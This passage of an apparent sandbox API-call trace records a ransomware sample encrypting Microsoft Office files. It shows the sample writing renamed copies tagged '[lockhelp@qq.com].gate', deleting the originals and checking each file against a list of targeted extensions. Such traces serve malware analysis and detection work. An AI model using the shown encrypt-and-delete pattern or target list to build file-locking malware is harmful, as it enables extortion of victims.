lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x1b10, lpOverlapped=0x0) returned 1 [0302.100] ReadFile (in: hFile=0x528, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.100] WriteFile (in: hFile=0x414, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0302.100] SetEndOfFile (hFile=0x414) returned 1 [0302.105] CloseHandle (hObject=0x414) returned 1 [0302.105] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.105] SetEndOfFile (hFile=0x528) returned 1 [0302.107] CloseHandle (hObject=0x528) returned 1 [0302.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0302.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0302.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0302.199] lstrlenW (lpString=".doc") returned 4 [0302.199] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0302.199] lstrlenW (lpString=".docx") returned 5 [0302.199] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0302.199] lstrlenW (lpString=".pdf") returned 4 [0302.199] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0302.199] lstrlenW (lpString=".xls") returned 4 [0302.199] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0302.199] lstrlenW (lpString=".xlsx") returned 5 [0302.199] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0302.199] lstrlenW (lpString=".ppt") returned 4 [0302.199] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0302.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0302.199] lstrlenW (lpString=".zip") returned 4 [0302.199] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0302.199] lstrlenW (lpString=".rar") returned 4 [0302.199] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0302.200] lstrlenW (lpString=".bz2") returned 4 [0302.200] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0302.200] lstrlenW (lpString=".7z") returned 3 [0302.200] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0302.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0302.200] lstrlenW (lpString=".dbf") returned 4 [0302.200] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0302.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0302.200] lstrlenW (lpString=".1cd") returned 4 [0302.200] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0302.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0302.200] lstrlenW (lpString=".jpg") returned 4 [0302.200] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0302.201] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=340217) returned 1 [0302.201] CloseHandle (hObject=0x370) returned 1 [0302.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 0x220 [0302.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.202] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.202] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0302.203] GetLastError () returned 0x0 [0302.203] ReadFile (in: hFile=0x370, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x530f9, lpOverlapped=0x0) returned 1 [0302.323] WriteFile (in: hFile=0x4f8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x53100, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x53100, lpOverlapped=0x0) returned 1 [0302.328] ReadFile (in: hFile=0x370, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.329] WriteFile (in: hFile=0x4f8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xfa, lpOverlapped=0x0) returned 1 [0302.329] SetEndOfFile (hFile=0x4f8) returned 1 [0302.329] CloseHandle (hObject=0x4f8) returned 1 [0302.329] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.329] SetEndOfFile (hFile=0x370) returned 1 [0302.336] CloseHandle (hObject=0x370) returned 1 [0302.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 1 [0302.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0302.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0302.338] lstrlenW (lpString=".doc") returned 4 [0302.338] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.338] lstrlenW (lpString=".docx") returned 5 [0302.338] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.338] lstrlenW (lpString=".pdf") returned 4 [0302.338] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.338] lstrlenW (lpString=".xls") returned 4 [0302.338] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.338] lstrlenW (lpString=".xlsx") returned 5 [0302.338] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.338] lstrlenW (lpString=".ppt") returned 4 [0302.338] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0302.338] lstrlenW (lpString=".zip") returned 4 [0302.338] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.338] lstrlenW (lpString=".rar") returned 4 [0302.338] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.338] lstrlenW (lpString=".bz2") returned 4 [0302.338] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.338] lstrlenW (lpString=".7z") returned 3 [0302.338] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0302.338] lstrlenW (lpString=".dbf") returned 4 [0302.338] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0302.339] lstrlenW (lpString=".1cd") returned 4 [0302.339] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0302.339] lstrlenW (lpString=".jpg") returned 4 [0302.339] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0302.339] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=335038) returned 1 [0302.339] CloseHandle (hObject=0x370) returned 1 [0302.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 0x220 [0302.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.340] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.340] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0302.340] GetLastError () returned 0x0 [0302.340] ReadFile (in: hFile=0x370, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x51cbe, lpOverlapped=0x0) returned 1 [0302.445] WriteFile (in: hFile=0x4f8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x51cc0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x51cc0, lpOverlapped=0x0) returned 1 [0302.450] ReadFile (in: hFile=0x370, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.450] WriteFile (in: hFile=0x4f8, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xea, lpOverlapped=0x0) returned 1 [0302.450] SetEndOfFile (hFile=0x4f8) returned 1 [0302.451] CloseHandle (hObject=0x4f8) returned 1 [0302.451] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.451] SetEndOfFile (hFile=0x370) returned 1 [0302.479] CloseHandle (hObject=0x370) returned 1 [0302.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 1 [0302.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0302.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0302.480] lstrlenW (lpString=".doc") returned 4 [0302.480] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.480] lstrlenW (lpString=".docx") returned 5 [0302.480] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.480] lstrlenW (lpString=".pdf") returned 4 [0302.480] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.480] lstrlenW (lpString=".xls") returned 4 [0302.480] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.480] lstrlenW (lpString=".xlsx") returned 5 [0302.480] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.480] lstrlenW (lpString=".ppt") returned 4 [0302.480] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0302.480] lstrlenW (lpString=".zip") returned 4 [0302.480] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.480] lstrlenW (lpString=".rar") returned 4 [0302.480] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.480] lstrlenW (lpString=".bz2") returned 4 [0302.480] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.480] lstrlenW (lpString=".7z") returned 3 [0302.480] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0302.480] lstrlenW (lpString=".dbf") returned 4 [0302.480] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0302.481] lstrlenW (lpString=".1cd") returned 4 [0302.481] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0302.481] lstrlenW (lpString=".jpg") returned 4 [0302.481] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0302.481] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=45229) returned 1 [0302.481] CloseHandle (hObject=0x370) returned 1 [0302.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 0x220 [0302.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.482] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.483] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0302.484] GetLastError () returned 0x0 [0302.484] ReadFile (in: hFile=0x370, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xb0ad, lpOverlapped=0x0) returned 1 [0302.653] WriteFile (in: hFile=0x538, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xb0b0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xb0b0, lpOverlapped=0x0) returned 1 [0302.654] ReadFile (in: hFile=0x370, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.654] WriteFile (in: hFile=0x538, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x102, lpOverlapped=0x0) returned 1 [0302.654] SetEndOfFile (hFile=0x538) returned 1 [0302.669] CloseHandle (hObject=0x538) returned 1 [0302.670] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.670] SetEndOfFile (hFile=0x370) returned 1 [0302.699] CloseHandle (hObject=0x370) returned 1 [0302.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0302.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 1 [0302.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0302.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0302.700] lstrlenW (lpString=".doc") returned 4 [0302.700] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0302.701] lstrlenW (lpString=".docx") returned 5 [0302.701] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0302.701] lstrlenW (lpString=".pdf") returned 4 [0302.701] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0302.701] lstrlenW (lpString=".xls") returned 4 [0302.701] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0302.701] lstrlenW (lpString=".xlsx") returned 5 [0302.701] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0302.701] lstrlenW (lpString=".ppt") returned 4 [0302.701] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0302.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0302.701] lstrlenW (lpString=".zip") returned 4 [0302.701] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0302.701] lstrlenW (lpString=".rar") returned 4 [0302.701] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0302.701] lstrlenW (lpString=".bz2") returned 4 [0302.701] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0302.701] lstrlenW (lpString=".7z") returned 3 [0302.701] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0302.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0302.704] lstrlenW (lpString=".dbf") returned 4 [0302.704] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0302.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0302.704] lstrlenW (lpString=".1cd") returned 4 [0302.704] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0302.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0302.704] lstrlenW (lpString=".jpg") returned 4 [0302.704] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0302.705] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=45435) returned 1 [0302.705] CloseHandle (hObject=0x370) returned 1 [0302.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 0x220 [0302.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0302.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0302.705] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.706] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0302.706] GetLastError () returned 0x0 [0302.706] ReadFile (in: hFile=0x370, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xb17b, lpOverlapped=0x0) returned 1 [0302.920] WriteFile (in: hFile=0x4c0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xb180, lpOverlapped=0x0) returned 1 [0302.924] ReadFile (in: hFile=0x370, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.924] WriteFile (in: hFile=0x4c0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xf8, lpOverlapped=0x0) returned 1 [0302.924] SetEndOfFile (hFile=0x4c0) returned 1 [0302.924] CloseHandle (hObject=0x4c0) returned 1 [0302.925] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.925] SetEndOfFile (hFile=0x370) returned 1 [0302.967] CloseHandle (hObject=0x370) returned 1 [0302.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.038] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 1 [0303.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0303.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0303.039] lstrlenW (lpString=".doc") returned 4 [0303.039] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0303.063] lstrlenW (lpString=".docx") returned 5 [0303.063] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0303.063] lstrlenW (lpString=".pdf") returned 4 [0303.063] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0303.063] lstrlenW (lpString=".xls") returned 4 [0303.063] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0303.063] lstrlenW (lpString=".xlsx") returned 5 [0303.063] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0303.063] lstrlenW (lpString=".ppt") returned 4 [0303.063] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0303.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle 